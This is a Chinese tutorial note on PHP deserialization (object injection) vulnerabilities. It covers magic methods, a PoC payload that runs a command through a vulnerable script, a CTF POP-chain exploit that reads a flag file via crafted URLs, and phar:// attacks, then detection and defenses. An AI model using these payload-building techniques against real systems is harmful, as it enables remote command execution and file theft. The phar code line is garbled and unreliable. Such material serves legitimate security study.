序列化与反序列化笔记

news2025/7/17 11:43:21

序列化与反序列化

为什么会有序列化与反序列化的需求呢?

序列化是把对象转换成有序字节流,通常都是一段可阅读的字符串,以便在网络上传输或者保存在本地文件中。同样,如果我们想直接使用某对象时,就可能通过反序列化前面保存的字符串,快速地重建对象,也不用重写一遍代码,提高工作效率。
以 PHP 语言为例,下面以代码示例介绍下序列化与反序列化,帮助你更直观地理解两者的概念。
1.序列化示例
PHP 中通过 serialize 函数进行序列化操作,先定义个类,然后用它创建个类对象再序列化,代码示例如下:

<?php
  class People{
      public $id = 1;
      protected $name = "john";
      private $age = 18;
  }
  $obj = new People();
  echo serialize($obj);
  ?>

在 PHP 7.4.3 版本下执行,它会输出以下这段字符串:

$ php -v
PHP 7.4.3 (cli) (built: Oct  6 2020 15:47:56) ( NTS )
Copyright (c) The PHP Group
Zend Engine v3.4.0, Copyright (c) Zend Technologies
    with Zend OPcache v7.4.3, Copyright (c), by Zend Technologies
$ php test.php 
'O:6:"People":3:{s:2:"id";i:1;s:7:" * name";s:4:"john";s:11:" People age";i:18;}'

注意:有些终端在输出时,可能会把其中的 \x00 过滤掉,“Peopleage” 其实是 “\x00People\x00age” 这样的数据,在后面进行反序列化操作时要注意,可拿前面的变量名长度进行对比。
对生成后序列化字符串前半部分做个解释,后面类似:

O:代表对象Object
6:对象名称长度
People:对象名称
3:变量个数
s:数据类型
2:变量名长度
id:变量名
i:整数类型
1:变量值

序列化后有很多数据类型的表示,你先提前了解一下,以后写反序列化利用时有可能会用到。

a - array 数组型
b - boolean 布尔型
d - double 浮点型
i - integer 整数型
o - common object 共同对象
r - objec reference 对象引用
s - non-escaped binary string 非转义的二进制字符串
S - escaped binary string 转义的二进制字符串
C - custom object 自定义对象
O - class 对象
N - null 空
R - pointer reference 指针引用
U - unicode string Unicode 编码的字符串

序列化操作就是将对象转换成可阅读可存储的字符串序列。
2.反序列化示例
反序列化就是对前面的序列化的反向操作,即将字符串序列重建回对象。
现在我们将前面生成的序列化字符串进行反序列化操作,通过 unserialize() 函数来实现:

<?php
  $str = 'O:6:"People":3:{s:2:"id";i:1;s:7:" * name";s:4:"john";s:11:" People age";i:18;}';
  $u = unserialize($str);
  echo $u->id;
?>

执行之后,成功获取到 People 的属性 id 值,说明反序列化重建出来的对象是可用的:

$ php test.php
1

如果你访问 $name 与 $age 就会出错,因为它们不是公有属性,不可直接访问:

PHP Fatal error:  Uncaught Error: Cannot access private property People::$age in /tmp/test.php:14
Stack trace:
#0 {main}
  thrown in /tmp/test.php on line 14
PHP Fatal error:  Uncaught Error: Cannot access protected property People::$name in /tmp/test.php:14
Stack trace:
#0 {main}
  thrown in /tmp/test.php on line 14

这里主要介绍的是 PHP 的序列化与反序列化.

漏洞是如何产生的?

反序列化原本只是一个正常的功能,那为什么反序列化就会产生漏洞呢?
当传给 unserialize() 的参数由外部可控时,若攻击者通过传入一个精心构造的序列化字符串,从而控制对象内部的变量甚至是函数,比如 PHP 中特殊的魔术方法,这些方法在某些情况下会被自动调用,为实现任意代码执行提供了条件,这时反序列化漏洞就产生了,PHP 反序列化漏洞有时也被称为“PHP 对象注入”漏洞。

攻击反序列化漏洞

反序列化参数可控后,如果我们只能针对参数的类对象进行利用,那么攻击面就太小了。这时利用魔术方法就可以扩大攻击面,它在该类的序列化或反序列化中就可能自动完成调用,对于漏洞的利用可以起到关键作用。除此之外,还有 POP 链构造等手法都可以进一步扩大攻击面,达到代码执行的效果。

1.利用魔术方法

魔术方法就是 PHP 中一些在某些情况下会被自动调用的方法,无须手工调用,比如当一个对象创建时 __construct 会被调用,当一个对象销毁时 __destruct 会被调用。
下面是 PHP 中一些常用的魔术方法:
__construct() #类的构造函数
__destruct() #类的析构函数
__call() #在对象中调用一个不可访问方法时调用
__callStatic() #用静态方式中调用一个不可访问方法时调用
__get() #获得一个类的成员变量时调用
__set() #设置一个类的成员变量时调用
__isset() #当对不可访问属性调用isset()或empty()时调用
__unset() #当对不可访问属性调用unset()时被调用。
__sleep() #执行serialize()时,先会调用这个函数
__wakeup() #执行unserialize()时,先会调用这个函数
__toString() #类被当成字符串时的回应方法
__invoke() #调用函数的方式调用一个对象时的回应方法
__set_state() #调用var_export()导出类时,此静态方法会被调用。
__clone() #当对象复制完成时调用
__autoload() #尝试加载未定义的类
__debugInfo() #打印所需调试信息

下面通过一段漏洞代码来演示下魔术方法在反序列化漏洞中的利用,vul.php 漏洞代码如下:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
先分析下代码,$_GET[‘str’] 获取 get 参数 str 值,然后传递给 unserialize 进行反序列化操作,这就是导致漏洞的地方。
那么我们该如何利用呢?审查整份代码,发现 Evil 类中的命令执行方法 run(),如果能控制其中的 $cmd 变量就可以实现远程命令执行。在 People 类的 __construct 方法中有属性赋值操作,将 Student 对象赋值给 $type 属性。
同时,在 __destruct 方法中有调用 run() 方法的操作,因此我们可以设法此这些操作关联起来,写出利用代码去生成用来实现命令执行的序列化字符串。
利用代码:
在这里插入图片描述
在这里插入图片描述
运行生成序列化字符串:

$ php poc.php
O:6:"People":1:{s:12:"Peopletype";O:4:"Evil":1:{s:3:"cmd";s:2:"id";}}

里面的 “Peopletype” 又被吃掉 \x00 了,得补回去,然后将上述字符串作为 get 参数 $str 的值发送给 vul.php:
http://127.0.0.1/vul.php?str=O:6:%22People%22:1:{s:12:%22%00People%00type%22;O:4:%22Evil%22:1:{s:3:%22cmd%22;s:2:%22id%22;}}
在这里插入图片描述
总结下利用思路:

  • 寻找原程序中可利用的目标方法,比如包含 system、eval、exec 等危险函数的地方,正如示例中的 Evil 类;
  • 追踪调用第 1 步中方法的其他类方法/函数,正如示例中 People 类方法 __destruct();
  • 寻找可控制第 1 步方法的参数的其他类方法函数,正如示例中 People 类方法 __construct();
  • 编写 poc,构建恶意类对象,然后调用 serialize 函数去生成序列化字符串;
  • 将生成的序列化字符串传递给漏洞参数实现利用。

2.POP 链构造

面向属性编程(Property-Oriented Programing,POP)利用现有执行环境中原有的代码序列(比如原程序中已定义或者可动态加载的对象属性、方法),将这些调用组合在一起形式特定的调用链,以达到特定目的的方法。这与二进制漏洞利用中的 ROP(Return-Oriented Progaming,面向返回编程)的原理是相似的。
其实前面利用魔术方法构建调用链的方法就算是 POP 链,只是比较简单,在真实的漏洞环境中,会复杂很多。
一道 CTF 题,帮助更好地理解构建 POP 链的思路。
题目代码如下,代码中有 3 个类,Output 类有构造方法 construct 和析构方法 destruct,Show 类中有一些设置属性值的方法,Test 类中则含有读取文件的方法,最后使用 GET 参数传入 unserialize() 函数导致反序列化漏洞。

<?php
class Output{
    public $test;
    public $str;
    public function __construct($name){
        $this->str = $name;
    }
    public function __destruct(){
        $this->test = $this->str;
        echo $this->test;
    }
}
class Show{
    public $source;
    public $str;
    public function __construct($file){
        $this->source = $file;
        echo $this->source;
    }
    public function __toString(){
        $content = $this->str['str']->source;
        return $content;
    }
    public function __set($key,$value){
        $this->$key = $value;
    }
    public function _show(){
        if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)){
            die('hacker!');
        } else {
            highlight_file($this->source);
        }
    }
    public function __wakeup(){
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)){
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}
class Test{
    public $file;
    public $params;
    public function __construct(){
        $this->params = array();
    }
    public function __get($key){
        return $this->get($key);
    }
    public function get($key){
        if(isset($this->params[$key])){
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }
    public function file_get($value){
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}
show_source(__FILE__);
$name=unserialize($_GET['strs']);
?>

按照前面介绍的利用思路,一步步来套用上。
1. 寻找原程序中可利用的目标方法,比如包含 system、eval、exec 等危险函数的地方。
在题目中,没有找到上面用于执行代码或命令的函数,但是在 Test::file_get() 调用 file_get_contents 读取文件内容,如果能够利用它实现任意文件读取也是可取的,因此就以 Test 类方法 file_get 为目标方法;
2. 追踪调用第 1 步中方法的其他类方法/函数。
看哪里调用 Test::file_get(),可以看到是 Test::get(),再往上追踪,发现是在 Test::__get() 调用的,这个 __get() 魔术方法的触发条件是:读取不可访问属性值,包括私有或未定义属性。在 Show::__toString() 中就有对未定义属性 $content 的操作,这样就会触发 __get() 方法。再往上追溯,发现 Output::__destruct() 中调用到 echo 函数可触发 __toString() ,这样就得到整个调用链如下:
在这里插入图片描述

3. 寻找可控制第 1 步方法的参数的其他类方法函数。
这里需要控制的是 file_get_contents($value) 中的参数 $value,依次往上追溯,发现其来自数组中的一个元素值,得到如下传播路径:
在这里插入图片描述
为了对应 Show::__toString() 中的 $this->str[‘str’]->source ,我们可以通过array(‘source’=>‘可控内容’) 来控制 $value,即打算读取的文件路径。进一步优化下传播路径:

在这里插入图片描述
4. 编写 poc,构建恶意类对象,然后调用 serialize 函数去生成序列化字符串。
根据调用链可以知道,起始的调用类在 Output,因此我们需要反序列化它。
基于前面的分析,PoC 代码如下:

<?php
  class Output{
    public $test;
    public $str;
    public function __construct($name){
          $this->str = $name;
      }
      public function __destruct(){
          $this->test = $this->str;
          echo $this->test;
      }
  }
  class Show{
    public $str;
    public $source;
    public function __toString(){
          $content = $this->str['str']->source;
          return (string)$content;
      }
  }
  class Test{
    public $file;
    public $params;
    // 原方法的定义此处省略,因为它对生成序列化字符串没有影响
  }
  $test = new Test();
  $test->params = array('source'=>'/var/www/html/flag.php');
  $show = new Show();
  $show->str = array('str'=>$test);
  $output = new Output($show);
  echo serialize($output);
?>

执行后得到如下序列化字符串:
O:6:“Output”:2:{s:4:“test”;N;s:3:“str”;O:4:“Show”:2:{s:3:“str”;a:1:{s:3:“str”;O:4:“Test”:2:{s:4:“file”;N;s:6:“params”;a:1:{s:6:“source”;s:22:“/var/www/html/flag.php”;}}}s:6:“source”;N;}}

5. 将生成的序列化字符串传递给漏洞参数实现利用
漏洞参数是 GET 参数 str,因此可以如此构造请求:
http://127.0.0.1/vul.php?str=O:6:“Output”:2:{s:4:“test”;N;s:3:“str”;O:4:“Show”:2:{s:3:“str”;a:1:{s:3:“str”;O:4:“Test”:2:{s:4:“file”;N;s:6:“params”;a:1:{s:6:“source”;s:22:“/var/www/html/flag.php”;}}}s:6:“source”;N;}}

整个过程可能有点绕,但 POP 链的利用技术就是如此,需要你对目标程序进行全方位的分析,提取出可利用的调用链进行组装,才有可能实现真正的攻击效果。

3.phar 文件攻击

在 2018 年 BlackHat 黑客大会上,安全研究员 Sam Thomas 分享了议题“It’s a PHP unserialization vulnerability Jim, but not as we know it”,介绍了一种关于利用 phar 文件实现反序列化漏洞的利用技巧,利用的是 phar 文件中序列化存储用户自定义的 meta-data,在解析该数据时就必然需要反序列化,配合 phar:// 伪协议即可触发对此的反序列化操作。比如如下代码即可触发对 test.txt 文件内容的反序列化操作:
f i l e n a m e = ′ p h a r : / / p h a r . p h a r / t e s t . t x t ′ ; f i l e g e t c o n t e n t s ( filename = 'phar://phar.phar/test.txt'; file_get_contents( filename=phar://phar.phar/test.txt;filegetcontents(filename);

在实际利用时,还可以对 phar 文件进行格式上的伪造,比如添加图片的头信息,将其伪装成其他格式的文件,用于绕过一些上传文件格式的限制。

如何挖掘反序列化漏洞?

1.代码审计
个人认为,想主动检测一些反序列化漏洞,特别是 0day 漏洞,最好的方法就是代码审计,针对不同的语言的反序化操作函数,比如 php unserialize 函数,还要注意 phar 文件攻击场景,然后往上回溯参数的传递来源,看是否有外部可控数据引用(比如 GET、POST 参数等等),而又未过任何过滤,那么它就有可能存在反序列化漏洞。
2.RASP 检测
在《08 | SQL 注入:漏洞的检测与防御》中已经介绍过 RASP,可以针对不同的语言做一些 Hook,如果发现一些敏感函数(比如 php eval、unserialize)被执行就打印出栈回溯,方便追踪漏洞成功,以及漏洞利用技术技巧,整个 POP 链也可以从中获取到。
所以,通过 RASP 不仅有利于拦截漏洞攻击,还可以定位漏洞代码,以及学习攻击者的利用技术,为后续的漏洞修复和拦截提供更多的参考价值。
3.动态黑盒扫描
通过收集历史漏洞的 payload,再结合网站指纹识别,特别是第三方库的识别,然后再根据不同的第三方库发送对应的 payload,根据返回结果作漏洞是否存在的判断。
这项工作也常于外曝漏洞后的安全应急工作,然后加入日常漏洞扫描流程中,以应对新增业务的检测。

防御反序列化漏洞

  • 黑白名单限制
    针对反序列化的类做一份白名单或黑名单的限制,首选白名单,避免一些遗漏问题被绕过。这种方法是当前很多主流框架的修复方案。
    黑名单并不能完全保证序列化过程的安全,有时网站开发个新功能,加了一些类之后,就有可能绕过黑名单实现利用,这也是为什么有些反序列化漏洞修复后又在同一个地方出现的原因。
  • WAF
    收集各种语言的反序列化攻击数据,提取特征用于拦截请求。
  • RASP
    RASP 除了可以检测漏洞外,它本身也可以提供类似 WAF 的防御功能。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/39192.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

23-Vue之事件修饰符

事件修饰符前言阻止默认行为阻止冒泡事件前言 本篇来学习两个常用的事件修饰符 阻止默认行为 .prevent : 阻止默认行为 <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta name"viewport" cont…

基于JSP的网上书城平台【数据库设计、源码、开题报告】

数据库脚本下载地址&#xff1a; https://download.csdn.net/download/itrjxxs_com/86469277 主要使用技术 ServletJDBCJSPC3P0JqueryMysql 功能介绍 1). 用户模块功能有&#xff1a; 用户注册: 表单页面是jQuery做校验(包含了ajax异步请求) 表单页面使用一次性图形验证码…

分布式事务Seata

目录 一、分布式事务的认识 事务的ACID原则 CAP定理 BASE理论 二、Seata简介、安装和部署 1.初识Seata 2.下载Seata&#xff08;1.4.2版本&#xff0c;其他版本可能与本章教程冲突&#xff09; 3.修改配置文件 4.在nacos添加配置 5.创建配置文件中的数据库表 6.启动TC…

二、微服务拆分案例

文章目录一、服务拆分&#xff08;order-service、user-service&#xff09;1.创建数据库2.创建order-service和user-service模块&#xff0c;引入依赖3、order-service各层代码4、user-service各层代码一、服务拆分&#xff08;order-service、user-service&#xff09; 1.创建…

猴子也能学会的jQuery第十二期——jQuery遍历

&#x1f4da;系列文章—目录&#x1f525; 猴子也能学会的jQuery第一期——什么是jQuery 猴子也能学会的jQuery第二期——引用jQuery 猴子也能学会的jQuery第三期——使用jQuery 猴子也能学会的jQuery第四期——jQuery选择器大全 猴子也能学会的jQuery第五期——jQuery样式操作…

【金融项目】尚融宝项目(十五)

29、提现和还款 29.1、提现 29.1.1、需求 放款成功后&#xff0c;借款人可以申请提现。 参考《汇付宝商户账户技术文档》3.15用户申请提现 29.1.2、前端整合 pages/user/withdraw.vue <script> export default {data() {return {fetchAmt: 0,}},methods: {commitWit…

基于SSM的宿舍财产管理系统【数据库设计、源码、开题报告】

数据库脚本下载地址&#xff1a; https://download.csdn.net/download/itrjxxs_com/86469100 主要使用技术 SpringSpringMVCMybatisEasyUIJqueryMysql 功能介绍 本系统的用户可以分为三种&#xff1a;管理员、教师、学生。 系统设置 菜单管理&#xff1a;菜单节点的增删改查…

中国传统美食网页HTML代码 学生网页课程设计期末作业下载 美食大学生网页设计制作成品下载 DW餐饮美食网页作业代码下载

&#x1f380; 精彩专栏推荐&#x1f447;&#x1f3fb;&#x1f447;&#x1f3fb;&#x1f447;&#x1f3fb; ✍️ 作者简介: 一个热爱把逻辑思维转变为代码的技术博主 &#x1f482; 作者主页: 【主页——&#x1f680;获取更多优质源码】 &#x1f393; web前端期末大作业…

【学习笔记41】DOM操作的练习

一、回到顶部 我们在浏览页面的时候&#xff0c;当我们浏览到一个页面的底部的时&#xff0c;一般都会有一个返回底部 &#xff08;一&#xff09;案例分析 1、当页面滚动的距离大于300的时候&#xff0c;让herder和btn展示 header的top设置为0的时候就能看到btn的display设置…

web网页设计期末课程大作业——海贼王大学生HTML网页制作 HTML+CSS+JS网页设计期末课程大作业 web前端开发技术 web课程设计 网页规划与设计

HTML实例网页代码, 本实例适合于初学HTML的同学。该实例里面有设置了css的样式设置&#xff0c;有div的样式格局&#xff0c;这个实例比较全面&#xff0c;有助于同学的学习,本文将介绍如何通过从头开始设计个人网站并将其转换为代码的过程来实践设计。 ⚽精彩专栏推荐&#x1…

HTML常用标记(超详解)

目录 一、文本标记 二、列表标记 三、分割线标记 四、超链接标记 五、图片标记 六、多媒体标记 七、标记类型 八、meta标记 一、文本标记 1.标题标记 语法格式&#xff1a; <hn align"对齐方式">标题文本</hn> html中提供了六级标题&#xff…

产业经济专题:产业结构高级化、合理化指数、工业化率、机构水平化及产业升级度

一、产业关联度的密度指数 1、数据来源&#xff1a;见参考文献 2、时间跨度&#xff1a;无 3、区域范围&#xff1a;无 4、指标说明&#xff1a; 附件中包括命令和案例数据 部分数据如下&#xff1a; 计算参考文献&#xff1a; Xiao J, Boschma R, Andersson M. Industr…

分布式NoSQL数据库HBase实践与原理剖析(一)

title: HBase系列 第一章 HBase基础理论 1.1 HBase简介 Apache HBase™ is the Hadoop database, a distributed, scalable, big data store. Apache HBase™ 是Hadoop数据库&#xff0c;是一种分布式、可扩展的大数据存储。HBase 是 BigTable 的开源 java 版本。 建立在 HDF…

SecXOps 核心技术能力划分

核心能力 为了加快安全分析能力更全面、更深入的自动化 &#xff0c;SecXOps 的目标在于创建一个集成的用于 Security 的 XOps 实践&#xff0c;提升安全分析的场景覆盖率和运营效率。SecXOps 技术并不 015 SecXOps 技术体系 是 Ops 技术在安全领域的简单加和&#xff0c;SecXO…

浏览器输入www.baidu.com的请求过程是怎么样的? 响应的过程是怎样的呢?

假设我们电脑的相关配置为&#xff1a; ip地址&#xff1a;192.168.31.37 子网掩码&#xff1a;255.255.255.0 网关地址&#xff1a;192.168.31.1 DNS地址&#xff1a;8.8.8.8 1. DNS 解析 我们打开一个浏览器&#xff0c;请求ww.baidu.com地址&#xff0c;这个时候找DNS 服务…

梅西进球了,用Python预测世界杯冠军是 ... 网友:痛,太痛了

今天凌晨&#xff0c;夺冠热门阿根廷终于赢球了&#xff0c;梅西也打进了自己本届世界杯的第一粒进球&#xff01;你熬夜看这场比赛了吗&#xff1f; 小编也用Python预测了一下本届世界杯的冠军归属&#xff0c;结果却不是阿根廷&#xff0c;来一起看看吧~ 预测结果 根据Pyt…

《QEMU/KVM源码分析与应用》读书笔记4 —— 第2章 QEMU基本组件(1)

2.1 QEMU事件循环机制 2.1.1 glibc事件循环机制 知识提炼&#xff1a; glib事件循环机制 QEMU程序的运行基于各类文件fd事件&#xff0c;QEMU在运行过程中会将自己感兴趣的文件fd添加到其监听列表上&#xff0c;并定义相应的处理函数。在QEMU主线程中&#xff0c;有一个循环…

JS--数组类型 Array 1

数组是一种特殊的对象&#xff0c;数组是按照顺序排列的一组值&#xff08;元素&#xff09;&#xff0c;每个位置都有一个编号&#xff0c;编号从0开始&#xff0c;编号也叫索引或者下标。数组可以存储任意数据类型。 一 、 创建数组方法 1.用[ ] <script>// 数字的…

【机器学习项目实战10例】(二):利用LightGBM实现天气变化的时间序列预测

🌠 『精品学习专栏导航帖』 🐳最适合入门的100个深度学习实战项目🐳🐙【PyTorch深度学习项目实战100例目录】项目详解 + 数据集 + 完整源码🐙🐶【机器学习入门项目10例目录】项目详解 + 数据集 + 完整源码🐶🦜【机器学习项目实战10例目录】项目详解 + 数据集 +

MyBatis-Plus快速开发

1. 代码生成器原理分析 观察我们之前写的代码&#xff0c;会发现其中也会有很多重复内容&#xff0c;比如&#xff1a; 那我们就想&#xff0c;如果我想做一个Order模块的开发&#xff0c;是不是只需要将内容全部更换成Order即可&#xff0c;如&#xff1a; 所以我们会发现&am…